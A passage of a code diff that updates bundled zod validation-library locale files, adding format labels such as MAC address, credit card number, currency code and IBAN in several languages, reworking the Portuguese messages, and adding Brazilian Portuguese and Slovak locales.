+64901,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -63018,17 +64980,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63054,12 +65017,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63128,17 +65095,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63164,12 +65132,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63243,17 +65215,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63279,12 +65252,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63353,121 +65330,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63506,6 +65663,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63582,11 +65742,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63602,7 +65762,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63635,6 +65795,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63661,12 +65829,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63739,17 +65911,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63775,12 +66065,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63849,17 +66143,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63883,14 +66178,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63960,17 +66259,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { 